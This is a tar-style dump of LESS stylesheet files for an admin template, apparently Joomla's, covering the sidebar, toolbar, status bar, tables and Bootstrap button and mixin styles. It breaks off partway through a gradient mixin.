.sidebar-nav .nav-list {
padding-left: 25px;
padding-right: 25px;
}
.sidebar-nav .nav-list > li > a {
color: #555;
padding: 3px 25px;
margin-left: -26px;
margin-right: -26px;
}
.sidebar-nav .nav-list > li.active > a {
color: #fff;
margin-right: -26px;
}
.sidebar-nav .nav-list > li > a:focus,
.sidebar-nav .nav-list > li > a:hover {
text-decoration: none;
color: #fff;
background-color: #2d6ca2;
text-shadow: none;
}
/* For collapsible sidebar */
.j-sidebar-container {
position: absolute;
display: block;
left: -16.5%;
width: 16.5%;
margin: -18px 0 0 -1px;
padding-top: 28px;
padding-bottom: 40px;
clear: both;
background-color: @wellBackground;
border-bottom: 1px solid darken(@wellBackground, 7%);
border-right: 1px solid darken(@wellBackground, 7%);
.border-radius(0 0 @baseBorderRadius 0);
&.j-sidebar-hidden {
left: -16.5%;
}
&.j-sidebar-visible {
left: 0;
}
.filter-select {
padding: 0 14px;
}
}
.j-toggle-sidebar-header {
h3 {
font-weight: normal;
padding: 0 15px;
}
}
.j-toggle-button-wrapper {
position: absolute;
display: block;
top: 7px;
padding: 0;
&.j-toggle-hidden {
right: -24px;
}
&.j-toggle-visible {
right: 7px;
}
}
.j-toggle-sidebar-button {
font-size: 16px;
color: @linkColor;
text-decoration: none;
cursor: pointer;
&:hover {
color: @linkColorHover;
}
}
#system-message-container,
#j-main-container {
padding: 0 0 0 5px;
min-height: 0;
}
#system-message-container.j-toggle-main,
#j-main-container.j-toggle-main,
#system-debug.j-toggle-main {
float: right;
}
@media (min-width: @md) {
.j-toggle-transition {
.transition(all 0.3s ease);
}
}
@media (max-width: @lg-max) {
.j-toggle-button-wrapper.j-toggle-hidden {
right: -20px;
}
}
@media (max-width: @md-max) {
.j-sidebar-container {
position: relative;
width: 100%;
margin: 0 0 20px 0;
padding: 0;
background: transparent;
border-right: 0;
border-bottom: 0;
}
.j-sidebar-container.j-sidebar-hidden {
margin-left: 16.5%;
}
.j-sidebar-container.j-sidebar-visible {
margin-left: 0;
}
.j-toggle-sidebar-header,
.j-toggle-button-wrapper {
display: none;
}
.view-login {
select {
width: 232px;
}
}
}
@media (max-width: 420px) {
.j-sidebar-container {
margin: 0;
}
.view-login {
.input-medium {
width: 180px;
}
select {
width: 232px
}
}
}blocks/_status.less000064400000001500151163446350010377 0ustar00// Status
#status {
background: #ebebeb;
border-top: 1px solid #dedede;
padding: 4px 10px;
.box-shadow(~"0 0 3px rgba(0, 0, 0, 0.08)");
color: #626262;
.btn-group {
margin: 0;
}
.btn-group.separator:after {
content: ' ';
display: block;
float: left;
background: #ADADAD;
margin: 0 10px;
height: 15px;
width: 1px;
}
.btn-toolbar, p {
margin: 0px;
}
.btn-toolbar, .btn-group {
font-size: 12px;
}
a {
color: #626262;
}
.badge {
margin-right: .25em;
}
}
/* Status Module in top position */
#status.status-top {
background: @headerBackground;
.box-shadow(~"0px 1px 0px rgba(255, 255, 255, 0.2) inset, 0px -1px
0px rgba(0, 0, 0, 0.3) inset, 0px -1px 0px rgba(0, 0, 0, 0.3)");
border-top: 0;
color: @navbarInverseText;
padding: 2px 20px 6px 20px;
a {
color: @navbarInverseLinkColor;
}
}blocks/_tables.less000064400000002140151163446350010327 0ustar00// Tables
@media (max-width: @sm-max) {
.pagination a {
padding: 5px;
}
.btn-group.divider,
.header .row-fluid .span3,
.header .row-fluid .span7 {
display: none;
}
.navbar .btn {
margin: 0;
}
.btn-subhead {
display: block;
margin: 10px 0;
}
.subhead-collapse.collapse {
height: 0;
overflow: hidden;
}
.btn-toolbar .btn-wrapper {
display: block;
margin:0px 10px 5px 10px;
}
.btn-toolbar .btn-wrapper .btn {
width: 100% !important;
}
.subhead {
background: none repeat scroll 0 0 transparent;
border-bottom: 0 solid darken(@wellBackground, 7%);
}
.btn-group + .btn-group {
margin-left: 10px;
}
.login .chzn-single {
width: 222px !important;
}
.login .chzn-container,
.login .chzn-drop {
width: 230px !important;
}
#toolbar [class^="icon-"], #toolbar [class*=" icon-"]
{
background-color: transparent;
border-right: medium none;
width: 10px;
}
}
/* Tables */
table label {
margin: 0;
}
td.has-context {
// Fixes difference in height between normal and hover on cell with
context
height: 23px;
}
td.nowrap.has-context {
width: 45%;
}blocks/_toolbar.less000064400000005272151163446360010531 0ustar00//
Toolbar
/* Subhead */
.subhead {
background: @wellBackground;
border-bottom: 1px solid darken(@wellBackground, 7%);
color: #0C192E;
text-shadow: 0 1px 0 #FFF;
margin-bottom: 10px;
min-height: 51px;
}
.subhead-collapse {
margin-bottom: 19px;
}
.subhead-collapse.collapse {
height: auto;
overflow: visible;
}
.btn-toolbar {
margin-bottom: 5px;
.btn-wrapper {
display: inline-block;
margin: 0 0 8px 5px;
}
}
.subhead-fixed {
position: fixed;
width: 100%;
top: 30px;
z-index: 100;
}
@media (max-width: @md-max) {
/* Fix ios scrolling inside bootstrap modals */
body {
-webkit-overflow-scrolling: touch;
}
.subhead {
margin-left: -20px;
margin-right: -20px;
padding-left: 10px;
padding-right: 10px;
}
}
.subhead h1 {
font-size: 17px;
font-weight: normal;
margin-left: 10px;
margin-top: 6px;
}
/* Toolbar */
#toolbar {
margin-bottom: 2px;
margin-top: 12px;
.btn {
line-height: 24px;
margin-right: 4px;
padding: 0 10px;
}
.btn-success {
min-width: 148px;
}
.btn-primary,
.btn-warning,
.btn-danger,
.btn-success,
.btn-info,
.btn-inverse {
[class^="icon-"], [class*=" icon-"] {
background-color: transparent;
border-right: 0;
border-left: 0;
width: 16px;
margin-left: 0;
margin-right: 0;
}
}
#toolbar-options, #toolbar-help {
float: right;
}
[class^="icon-"], [class*=" icon-"] {
background-color: @btnBackgroundHighlight;
border-radius: 3px 0 0 3px;
border-right: 1px solid @btnBorder;
height: auto;
line-height: inherit;
margin: 0 6px 0 -10px;
opacity: 1;
text-shadow: none;
width: 28px;
z-index: -1;
}
iframe .btn-group .btn {
margin-left: -1px !important;
}
}
html[dir=rtl] #toolbar #toolbar-options,
html[dir=rtl] #toolbar #toolbar-help {
float: left;
}
@media (max-width: @md-max) {
.subhead-fixed {
position: static;
width: auto;
}
}
/* Subhead (toolbar) Collapse Button */
.btn-subhead {
display: none;
}
@media (min-width: @sm) {
#filter-bar {
// Fix for Firefox
height: 29px;
}
}
@media (max-width: @sm-max) {
.navbar .btn {
margin: 0;
}
.btn-subhead {
display: block;
margin: 10px 0;
}
.subhead-collapse.collapse {
height: 0;
overflow: hidden;
}
.btn-toolbar .btn-wrapper {
display: block;
margin:0px 10px 5px 10px;
}
.btn-toolbar .btn-wrapper .btn {
width: 100% !important;
}
.subhead {
background: none repeat scroll 0 0 transparent;
border-bottom: 0 solid darken(@wellBackground, 7%);
}
#toolbar [class^="icon-"], #toolbar [class*=" icon-"]
{
background-color: transparent;
border-right: medium none;
width: 10px;
}
}
@media (max-width: @xs-max) {
.view-login .navbar-fixed-bottom {
display: none;
}
}
blocks/_treeselect.less000064400000002421151163446360011217 0ustar00// Tree
Select
ul.treeselect,
ul.treeselect li {
margin: 0;
padding: 0;
}
ul.treeselect {
margin-top: 8px;
}
ul.treeselect li {
padding: 2px 10px 2px;
list-style: none;
}
ul.treeselect i.treeselect-toggle {
line-height: 18px;
}
ul.treeselect label {
font-size: 1em;
margin-left: 8px;
}
ul.treeselect label.nav-header {
padding: 0;
}
ul.treeselect input {
margin: 2px 0 0 8px;
}
ul.treeselect .treeselect-menu {
margin: 0 6px;
}
ul.treeselect ul.dropdown-menu {
margin: 0;
}
ul.treeselect ul.dropdown-menu li {
padding: 0 5px;
border: none;
}
.tree-holder {
.folder-url, .file {
position: relative;
background-color: #fefefe;
margin-bottom: 4px;
padding: 0 10px;
line-height: 32px;
border: 1px solid rgba(0, 0, 0, 0.08);
}
.folder-url, .folder-url:hover, .folder-url:focus {
font-weight: bold;
background-color: #f5f5f5;
color: @linkColor;
}
.active {
background-color: @linkColor;
color: #fff;
box-shadow: -3px 0 0 #36a2ff !important;
&.folder-url {
background-color: #f5f5f5;
color: @linkColor;
}
&.file:hover {
background-color: #3071a9;
}
}
ul {
ul {
box-shadow: -3px 0 0 rgba(0, 0, 0, 0.08);
padding-right: 0;
.folder-url, .file {
box-shadow: -3px 0 0 @linkColor;
border-left: 0;
}
}
}
}
blocks/_utility-classes.less000064400000000261151163446360012216 0ustar00//
Utility Classes
.break-word {
word-break: break-all;
word-wrap: break-word;
}
.disabled {
cursor: default;
background-image: none;
.opacity(65);
.box-shadow(none);
}
bootstrap/button-groups.less000064400000013111151163446360012307 0ustar00//
// Button groups
// --------------------------------------------------
// Make the div behave like a button
.btn-group {
position: relative;
display: inline-block;
.ie7-inline-block();
font-size: 0; // remove as part 1 of font-size inline-block hack
vertical-align: middle; // match .btn alignment given font-size hack
above
white-space: nowrap; // prevent buttons from wrapping when in tight
spaces (e.g., the table on the tests page)
.ie7-restore-left-whitespace();
.btn + .btn {
margin-left: -1px;
}
}
// Space out series of button groups
.btn-group + .btn-group {
margin-left: 5px;
}
// Optional: Group multiple button groups together for a toolbar
.btn-toolbar {
font-size: 0; // Hack to remove whitespace that results from using
inline-block
margin-top: @baseLineHeight / 2;
margin-bottom: @baseLineHeight / 2;
> .btn + .btn,
> .btn-group + .btn,
> .btn + .btn-group {
margin-left: 5px;
}
}
// Float them, remove border radius, then re-add to first and last elements
.btn-group > .btn {
position: relative;
.border-radius(0);
}
.btn-group > .btn + .btn {
// margin-left: -1px;
}
.btn-group > .btn-micro {
margin-left: -1px;
}
.btn-group > .btn,
.btn-group > .dropdown-menu,
.btn-group > .popover {
font-size: @baseFontSize; // redeclare as part 2 of font-size
inline-block hack
}
// Reset fonts for other sizes
.btn-group > .btn-mini {
font-size: @fontSizeMini;
}
.btn-group > .btn-small {
font-size: @fontSizeSmall;
}
.btn-group > .btn-large {
font-size: @fontSizeLarge;
}
// Set corners individual because sometimes a single button can be in a
.btn-group and we need :first-child and :last-child to both match
.btn-group > .btn:first-child {
margin-left: 0;
.border-top-left-radius(@baseBorderRadius);
.border-bottom-left-radius(@baseBorderRadius);
}
// Need .dropdown-toggle since :last-child doesn't apply given a
.dropdown-menu immediately after it
.btn-group > .btn:last-child,
.btn-group > .dropdown-toggle {
.border-top-right-radius(@baseBorderRadius);
.border-bottom-right-radius(@baseBorderRadius);
}
// Reset corners for large buttons
.btn-group > .btn.large:first-child {
margin-left: 0;
.border-top-left-radius(@borderRadiusLarge);
.border-bottom-left-radius(@borderRadiusLarge);
}
.btn-group > .btn.large:last-child,
.btn-group > .large.dropdown-toggle {
.border-top-right-radius(@borderRadiusLarge);
.border-bottom-right-radius(@borderRadiusLarge);
}
// On hover/focus/active, bring the proper btn to front
.btn-group > .btn:hover,
.btn-group > .btn:focus,
.btn-group > .btn:active,
.btn-group > .btn.active {
z-index: 2;
}
// On active and open, don't show outline
.btn-group .dropdown-toggle:active,
.btn-group.open .dropdown-toggle {
outline: 0;
}
// Split button dropdowns
// ----------------------
// Give the line between buttons some depth
.btn-group > .btn + .dropdown-toggle {
padding-left: 8px;
padding-right: 8px;
*padding-top: 5px;
*padding-bottom: 5px;
}
.btn-group > .btn-mini + .dropdown-toggle {
padding-left: 5px;
padding-right: 5px;
*padding-top: 2px;
*padding-bottom: 2px;
}
.btn-group > .btn-small + .dropdown-toggle {
*padding-top: 5px;
*padding-bottom: 4px;
}
.btn-group > .btn-large + .dropdown-toggle {
padding-left: 12px;
padding-right: 12px;
*padding-top: 7px;
*padding-bottom: 7px;
}
.btn-group.open {
// The clickable button for toggling the menu
// Remove the gradient and set the same inset shadow as the :active state
.dropdown-toggle {
background-image: none;
}
// Keep the hover's background when dropdown is open
.btn.dropdown-toggle {
background-color: @btnBackgroundHighlight;
}
.btn-primary.dropdown-toggle {
background-color: @btnPrimaryBackgroundHighlight;
}
.btn-warning.dropdown-toggle {
background-color: @btnWarningBackgroundHighlight;
}
.btn-danger.dropdown-toggle {
background-color: @btnDangerBackgroundHighlight;
}
.btn-success.dropdown-toggle {
background-color: @btnSuccessBackgroundHighlight;
}
.btn-info.dropdown-toggle {
background-color: @btnInfoBackgroundHighlight;
}
.btn-inverse.dropdown-toggle {
background-color: @btnInverseBackgroundHighlight;
}
}
// Reposition the caret
.btn .caret {
margin-top: 8px;
margin-left: 0;
}
// Carets in other button sizes
.btn-large .caret {
margin-top: 6px;
}
.btn-large .caret {
border-left-width: 5px;
border-right-width: 5px;
border-top-width: 5px;
}
.btn-mini .caret,
.btn-small .caret {
margin-top: 8px;
}
// Upside down carets for .dropup
.dropup .btn-large .caret {
border-bottom-width: 5px;
}
// Account for other colors
.btn-primary {
.caret {
border-top-color: @linkColorHover;
border-bottom-color: @linkColorHover;
}
}
.btn-warning,
.btn-danger,
.btn-info,
.btn-success,
.btn-inverse {
.caret {
border-top-color: @white;
border-bottom-color: @white;
}
}
// Vertical button groups
// ----------------------
.btn-group-vertical {
display: inline-block; // makes buttons only take up the width they need
.ie7-inline-block();
}
.btn-group-vertical > .btn {
display: block;
float: none;
max-width: 100%;
.border-radius(0);
}
.btn-group-vertical > .btn + .btn {
margin-left: 0;
margin-top: -1px;
}
.btn-group-vertical > .btn:first-child {
.border-radius(@baseBorderRadius @baseBorderRadius 0 0);
}
.btn-group-vertical > .btn:last-child {
.border-radius(0 0 @baseBorderRadius @baseBorderRadius);
}
.btn-group-vertical > .btn-large:first-child {
.border-radius(@borderRadiusLarge @borderRadiusLarge 0 0);
}
.btn-group-vertical > .btn-large:last-child {
.border-radius(0 0 @borderRadiusLarge @borderRadiusLarge);
}
bootstrap/buttons.less000064400000013145151163446360011164 0ustar00//
// Buttons
// --------------------------------------------------
// Base styles
// --------------------------------------------------
// Core
.btn {
display: inline-block;
.ie7-inline-block();
padding: 4px 12px;
margin-bottom: 0; // For input.btn
font-size: @baseFontSize;
line-height: @baseLineHeight;
text-align: center;
vertical-align: middle;
cursor: pointer;
background-color: @btnBackground;
color: #333;
// .buttonBackground(@btnBackground, @btnBackgroundHighlight, @grayDark,
0 1px 1px rgba(255,255,255,.75));
border: 1px solid @btnBorder;
.border-radius(@baseBorderRadius);
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
&:hover,
&:focus {
background-color: @btnBackgroundHighlight;
text-decoration: none;
text-shadow: none;
}
// Focus state for keyboard and accessibility
&:focus {
.tab-focus();
}
// Active state
&.active,
&:active {
background-image: none;
outline: 0;
// .box-shadow(~"inset 0 2px 4px rgba(0,0,0,.15), 0 1px 2px
rgba(0,0,0,.05)");
}
// Disabled state
&.disabled,
&[disabled] {
cursor: default;
background-image: none;
.opacity(65);
.box-shadow(none);
}
}
// Button Sizes
// --------------------------------------------------
// Large
.btn-large {
padding: @paddingLarge;
font-size: @fontSizeLarge;
.border-radius(@borderRadiusLarge);
}
.btn-large [class^="icon-"],
.btn-large [class*=" icon-"] {
margin-top: 4px;
}
// Small
.btn-small {
padding: @paddingSmall;
font-size: @fontSizeSmall;
.border-radius(@borderRadiusSmall);
}
.btn-small [class^="icon-"],
.btn-small [class*=" icon-"] {
margin-top: 0;
}
.btn-mini [class^="icon-"],
.btn-mini [class*=" icon-"] {
margin-top: -1px;
}
// Mini
.btn-mini {
padding: @paddingMini;
font-size: @fontSizeMini;
.border-radius(@borderRadiusSmall);
}
// Block button
// -------------------------
.btn-block {
display: block;
width: 100%;
padding-left: 0;
padding-right: 0;
.box-sizing(border-box);
}
// Vertically space out multiple block buttons
.btn-block + .btn-block {
margin-top: 5px;
}
// Specificity overrides
input[type="submit"],
input[type="reset"],
input[type="button"] {
&.btn-block {
width: 100%;
}
}
// Alternate buttons
// --------------------------------------------------
.btn-primary,
.btn-warning,
.btn-danger,
.btn-success,
.btn-info,
.btn-inverse {
box-shadow: 0 1px 2px rgba(0, 0, 0, 0.05);
}
// Provide *some* extra contrast for those who can get it
.btn-primary.active,
.btn-warning.active,
.btn-danger.active,
.btn-success.active,
.btn-info.active,
.btn-inverse.active {
// color: rgba(255,255,255,.75);
}
// Set the backgrounds
// -------------------------
.btn-primary {
border: 1px solid @btnPrimaryBackgroundHighlight;
border: 1px solid rgba(0, 0, 0, 0.2);
color: #fff;
background-color: @btnPrimaryBackground;
&:hover,
&:focus {
background-color: darken(@btnPrimaryBackground, 15%);
color: #fff;
text-decoration: none;
}
}
// Warning appears are orange
.btn-warning {
border: 1px solid @btnWarningBackground;
border: 1px solid rgba(0, 0, 0, 0.2);
color: #fff;
background-color: @btnWarningBackground;
&:hover,
&:focus {
background-color: darken(@btnWarningBackground, 15%);
color: #fff;
text-decoration: none;
text-shadow: none;
}
}
// Danger and error appear as red
.btn-danger {
border: 1px solid @btnDangerBackground;
border: 1px solid rgba(0, 0, 0, 0.2);
color: #fff;
background-color: @btnDangerBackground;
&:hover,
&:focus {
background-color: darken(@btnDangerBackground, 15%);
color: #fff;
text-decoration: none;
}
}
// Success appears as green
.btn-success {
border: 1px solid @btnSuccessBackgroundHighlight;
border: 1px solid rgba(0, 0, 0, 0.2);
color: #fff;
background-color: @btnSuccessBackground;
&:hover,
&:focus {
background-color: darken(@btnSuccessBackground, 15%);
color: #fff;
text-decoration: none;
}
}
// Info appears as a neutral blue
.btn-info {
border: 1px solid @btnInfoBackground;
border: 1px solid rgba(0, 0, 0, 0.2);
color: #fff;
background-color: @btnInfoBackground;
&:hover,
&:focus {
background-color: darken(@btnInfoBackground, 15%);
color: #fff;
text-decoration: none;
}
}
// Inverse appears as dark gray
.btn-inverse {
border: 1px solid @btnInverseBackground;
border: 1px solid rgba(0, 0, 0, 0.2);
color: #fff;
background-color: @btnInverseBackground;
&:hover,
&:focus {
background-color: darken(@btnInverseBackground, 15%);
color: #fff;
text-decoration: none;
}
}
// Cross-browser Jank
// --------------------------------------------------
button.btn,
input[type="submit"].btn {
// Firefox 3.6 only I believe
&::-moz-focus-inner {
padding: 0;
border: 0;
}
// IE7 has some default padding on button controls
*padding-top: 3px;
*padding-bottom: 3px;
&.btn-large {
*padding-top: 7px;
*padding-bottom: 7px;
}
&.btn-small {
*padding-top: 3px;
*padding-bottom: 3px;
}
&.btn-mini {
*padding-top: 1px;
*padding-bottom: 1px;
}
}
// Link buttons
// --------------------------------------------------
// Make a button look and behave like a link
.btn-link,
.btn-link:active,
.btn-link[disabled] {
background-color: transparent;
background-image: none;
.box-shadow(none);
}
.btn-link {
border-color: transparent;
cursor: pointer;
color: @linkColor;
.border-radius(0);
}
.btn-link:hover,
.btn-link:focus {
color: @linkColorHover;
text-decoration: underline;
background-color: transparent;
}
.btn-link[disabled]:hover,
.btn-link[disabled]:focus {
color: @grayDark;
text-decoration: none;
}
bootstrap/mixins.less000064400000055565151163446360011011 0ustar00//
// Mixins
// --------------------------------------------------
// UTILITY MIXINS
// --------------------------------------------------
// Clearfix
// --------
// For clearing floats like a boss h5bp.com/q
.clearfix {
*zoom: 1;
&:before,
&:after {
display: table;
content: "";
// Fixes Opera/contenteditable bug:
// http://nicolasgallagher.com/micro-clearfix-hack/#comment-36952
line-height: 0;
}
&:after {
clear: both;
}
}
// Webkit-style focus
// ------------------
.tab-focus() {
// Default
outline: thin dotted #333;
// Webkit
outline: 5px auto -webkit-focus-ring-color;
outline-offset: -2px;
}
// Center-align a block level element
// ----------------------------------
.center-block() {
display: block;
margin-left: auto;
margin-right: auto;
}
// IE7 inline-block
// ----------------
.ie7-inline-block() {
*display: inline; /* IE7 inline-block hack */
*zoom: 1;
}
// IE7 likes to collapse whitespace on either side of the inline-block
elements.
// Ems because we're attempting to match the width of a space
character. Left
// version is for form buttons, which typically come after other elements,
and
// right version is for icons, which come before. Applying both is ok, but
it will
// mean that space between those elements will be .6em (~2 space
characters) in IE7,
// instead of the 1 space in other browsers.
.ie7-restore-left-whitespace() {
*margin-left: .3em;
&:first-child {
*margin-left: 0;
}
}
.ie7-restore-right-whitespace() {
*margin-right: .3em;
}
// Sizing shortcuts
// -------------------------
.size(@height, @width) {
width: @width;
height: @height;
}
.square(@size) {
.size(@size, @size);
}
// Placeholder text
// -------------------------
.placeholder(@color: @placeholderText) {
&:-moz-placeholder {
color: @color;
}
&:-ms-input-placeholder {
color: @color;
}
&::-webkit-input-placeholder {
color: @color;
}
}
// Text overflow
// -------------------------
// Requires inline-block or block for proper styling
.text-overflow() {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
// CSS image replacement
// -------------------------
// Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757
.hide-text {
font: 0/0 a;
color: transparent;
text-shadow: none;
background-color: transparent;
border: 0;
}
// FONTS
// --------------------------------------------------
#font {
#family {
.serif() {
font-family: @serifFontFamily;
}
.sans-serif() {
font-family: @sansFontFamily;
}
.monospace() {
font-family: @monoFontFamily;
}
}
.shorthand(@size: @baseFontSize, @weight: normal, @lineHeight:
@baseLineHeight) {
font-size: @size;
font-weight: @weight;
line-height: @lineHeight;
}
.serif(@size: @baseFontSize, @weight: normal, @lineHeight:
@baseLineHeight) {
#font > #family > .serif;
#font > .shorthand(@size, @weight, @lineHeight);
}
.sans-serif(@size: @baseFontSize, @weight: normal, @lineHeight:
@baseLineHeight) {
#font > #family > .sans-serif;
#font > .shorthand(@size, @weight, @lineHeight);
}
.monospace(@size: @baseFontSize, @weight: normal, @lineHeight:
@baseLineHeight) {
#font > #family > .monospace;
#font > .shorthand(@size, @weight, @lineHeight);
}
}
// FORMS
// --------------------------------------------------
// Block level inputs
.input-block-level {
display: block;
width: 100%;
min-height: @inputHeight; // Make inputs at least the height of their
button counterpart (base line-height + padding + border)
.box-sizing(border-box); // Makes inputs behave like true block-level
elements
}
// Mixin for form field states
.formFieldState(@textColor: #555, @borderColor: #ccc, @backgroundColor:
#f5f5f5) {
// Set the text color
.control-label,
.help-block,
.help-inline {
color: @textColor;
}
// Style inputs accordingly
.checkbox,
.radio,
input,
select,
textarea {
color: @textColor;
}
input,
select,
textarea {
border-color: @borderColor;
//.box-shadow(inset 0 1px 1px rgba(0,0,0,.075)); // Redeclare so
transitions work
&:focus {
border-color: darken(@borderColor, 10%);
@shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 6px
lighten(@borderColor, 20%);
//.box-shadow(@shadow);
}
}
// Give a small background color for input-prepend/-append
.input-prepend .add-on,
.input-append .add-on {
color: @textColor;
background-color: @backgroundColor;
border-color: @textColor;
}
}
// CSS3 PROPERTIES
// --------------------------------------------------
// Border Radius
.border-radius(@radius) {
-webkit-border-radius: @radius;
-moz-border-radius: @radius;
border-radius: @radius;
}
// Single Corner Border Radius
.border-top-left-radius(@radius) {
-webkit-border-top-left-radius: @radius;
-moz-border-radius-topleft: @radius;
border-top-left-radius: @radius;
}
.border-top-right-radius(@radius) {
-webkit-border-top-right-radius: @radius;
-moz-border-radius-topright: @radius;
border-top-right-radius: @radius;
}
.border-bottom-right-radius(@radius) {
-webkit-border-bottom-right-radius: @radius;
-moz-border-radius-bottomright: @radius;
border-bottom-right-radius: @radius;
}
.border-bottom-left-radius(@radius) {
-webkit-border-bottom-left-radius: @radius;
-moz-border-radius-bottomleft: @radius;
border-bottom-left-radius: @radius;
}
// Single Side Border Radius
.border-top-radius(@radius) {
.border-top-right-radius(@radius);
.border-top-left-radius(@radius);
}
.border-right-radius(@radius) {
.border-top-right-radius(@radius);
.border-bottom-right-radius(@radius);
}
.border-bottom-radius(@radius) {
.border-bottom-right-radius(@radius);
.border-bottom-left-radius(@radius);
}
.border-left-radius(@radius) {
.border-top-left-radius(@radius);
.border-bottom-left-radius(@radius);
}
// Drop shadows
.box-shadow(@shadow) {
-webkit-box-shadow: @shadow;
-moz-box-shadow: @shadow;
box-shadow: @shadow;
}
// Transitions
.transition(@transition) {
-webkit-transition: @transition;
-moz-transition: @transition;
-o-transition: @transition;
transition: @transition;
}
.transition-delay(@transition-delay) {
-webkit-transition-delay: @transition-delay;
-moz-transition-delay: @transition-delay;
-o-transition-delay: @transition-delay;
transition-delay: @transition-delay;
}
.transition-duration(@transition-duration) {
-webkit-transition-duration: @transition-duration;
-moz-transition-duration: @transition-duration;
-o-transition-duration: @transition-duration;
transition-duration: @transition-duration;
}
// Transformations
.rotate(@degrees) {
-webkit-transform: rotate(@degrees);
-moz-transform: rotate(@degrees);
-ms-transform: rotate(@degrees);
-o-transform: rotate(@degrees);
transform: rotate(@degrees);
}
.scale(@ratio) {
-webkit-transform: scale(@ratio);
-moz-transform: scale(@ratio);
-ms-transform: scale(@ratio);
-o-transform: scale(@ratio);
transform: scale(@ratio);
}
.translate(@x, @y) {
-webkit-transform: translate(@x, @y);
-moz-transform: translate(@x, @y);
-ms-transform: translate(@x, @y);
-o-transform: translate(@x, @y);
transform: translate(@x, @y);
}
.skew(@x, @y) {
-webkit-transform: skew(@x, @y);
-moz-transform: skew(@x, @y);
-ms-transform: skewX(@x) skewY(@y); // See
https://github.com/twitter/bootstrap/issues/4885
-o-transform: skew(@x, @y);
transform: skew(@x, @y);
-webkit-backface-visibility: hidden; // See
https://github.com/twitter/bootstrap/issues/5319
}
.translate3d(@x, @y, @z) {
-webkit-transform: translate3d(@x, @y, @z);
-moz-transform: translate3d(@x, @y, @z);
-o-transform: translate3d(@x, @y, @z);
transform: translate3d(@x, @y, @z);
}
// Backface visibility
// Prevent browsers from flickering when using CSS 3D transforms.
// Default value is `visible`, but can be changed to `hidden
// See git pull https://github.com/dannykeane/bootstrap.git
backface-visibility for examples
.backface-visibility(@visibility){
-webkit-backface-visibility: @visibility;
-moz-backface-visibility: @visibility;
backface-visibility: @visibility;
}
// Background clipping
// Heads up: FF 3.6 and under need "padding" instead of
"padding-box"
.background-clip(@clip) {
-webkit-background-clip: @clip;
-moz-background-clip: @clip;
background-clip: @clip;
}
// Background sizing
.background-size(@size) {
-webkit-background-size: @size;
-moz-background-size: @size;
-o-background-size: @size;
background-size: @size;
}
// Box sizing
.box-sizing(@boxmodel) {
-webkit-box-sizing: @boxmodel;
-moz-box-sizing: @boxmodel;
box-sizing: @boxmodel;
}
// User select
// For selecting text on the page
.user-select(@select) {
-webkit-user-select: @select;
-moz-user-select: @select;
-ms-user-select: @select;
-o-user-select: @select;
user-select: @select;
}
// Resize anything
.resizable(@direction) {
resize: @direction; // Options: horizontal, vertical, both
overflow: auto; // Safari fix
}
// CSS3 Content Columns
.content-columns(@columnCount, @columnGap: @gridGutterWidth) {
-webkit-column-count: @columnCount;
-moz-column-count: @columnCount;
column-count: @columnCount;
-webkit-column-gap: @columnGap;
-moz-column-gap: @columnGap;
column-gap: @columnGap;
}
// Optional hyphenation
.hyphens(@mode: auto) {
word-wrap: break-word;
-webkit-hyphens: @mode;
-moz-hyphens: @mode;
-ms-hyphens: @mode;
-o-hyphens: @mode;
hyphens: @mode;
}
// Opacity
.opacity(@opacity) {
opacity: @opacity / 100;
filter: ~"alpha(opacity=@{opacity})";
}
// BACKGROUNDS
// --------------------------------------------------
// Add an alphatransparency value to any background or border color (via
Elyse Holladay)
#translucent {
.background(@color: @white, @alpha: 1) {
background-color: hsla(hue(@color), saturation(@color),
lightness(@color), @alpha);
}
.border(@color: @white, @alpha: 1) {
border-color: hsla(hue(@color), saturation(@color), lightness(@color),
@alpha);
.background-clip(padding-box);
}
}
// Gradient Bar Colors for buttons and alerts
.gradientBar(@primaryColor, @secondaryColor, @textColor: #fff, @textShadow:
0 -1px 0 rgba(0,0,0,.25)) {
color: @textColor;
text-shadow: @textShadow;
#gradient > .vertical(@primaryColor, @secondaryColor);
border-color: @secondaryColor @secondaryColor darken(@secondaryColor,
15%);
// No idea why this is here, as it makes the border grey instead of the
given colors
// border-color: rgba(0,0,0,.1) rgba(0,0,0,.1) fadein(rgba(0,0,0,.1),
15%);
}
// Gradients
#gradient {
.horizontal(@startColor: #555, @endColor: #333) {
background-color: @endColor;
background-image: -moz-linear-gradient(left, @startColor, @endColor);
// FF 3.6+
background-image: -webkit-gradient(linear, 0 0, 100% 0,
from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+
background-image: -webkit-linear-gradient(left, @startColor,
@endColor); // Safari 5.1+, Chrome 10+
background-image: -o-linear-gradient(left, @startColor, @endColor); //
Opera 11.10
background-image: linear-gradient(to right, @startColor, @endColor); //
Standard, IE10
background-repeat: repeat-x;
filter:
e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d',
endColorstr='%d',
GradientType=1)",argb(@startColor),argb(@endColor))); // IE9 and down
}
.vertical(@startColor: #555, @endColor: #333) {
background-color: mix(@startColor, @endColor, 60%);
background-image: -moz-linear-gradient(top, @startColor, @endColor); //
FF 3.6+
background-image: -webkit-gradient(linear, 0 0, 0 100%,
from(@startColor), to(@endColor)); // Safari 4+, Chrome 2+
background-image: -webkit-linear-gradient(top, @startColor, @endColor);
// Safari 5.1+, Chrome 10+
background-image: -o-linear-gradient(top, @startColor, @endColor); //
Opera 11.10
background-image: linear-gradient(to bottom, @startColor, @endColor);
// Standard, IE10
background-repeat: repeat-x;
filter:
e(%("progid:DXImageTransform.Microsoft.gradient(startColorstr='%d',
endColorstr='%d',
GradientType=0)",argb(@startColor),argb(@endColor))); // IE9 and down
}
.directional(@startColor: #555, @endColor: #333, @deg: 45deg) {
background-color: @endColor;
background-repeat: repeat-x;
background-image: -moz-linear-gradient(@deg, @startColor, @endColor);
// FF 3.6+
background-image: -webkit-linear-gradient(@deg, @startColor,
@endColor); // Safari 5.1+, Chrome 10+
background-image: -o-linear-gradient(@deg, @startColor, @endColor); //
Opera 11.10
background-image: linear-gradient(@deg, @startColor, @endColor); //
Standard, IE10
}
.horizontal-three-colors(@startColor: #00b3ee, @midColor: #7a43b6,
@colorStop: 50%, @endColor: #c3325f) {
background-color: mix(@midColor, @endColor, 80%);
background-image: -webkit-gradient(left, linear, 0 0, 0 100%,
from(@startColor), color-stop(@colorStop, @midColor), to(@endColor));
background-image: -webkit-linear-gradient(left, @startColor, @midColor
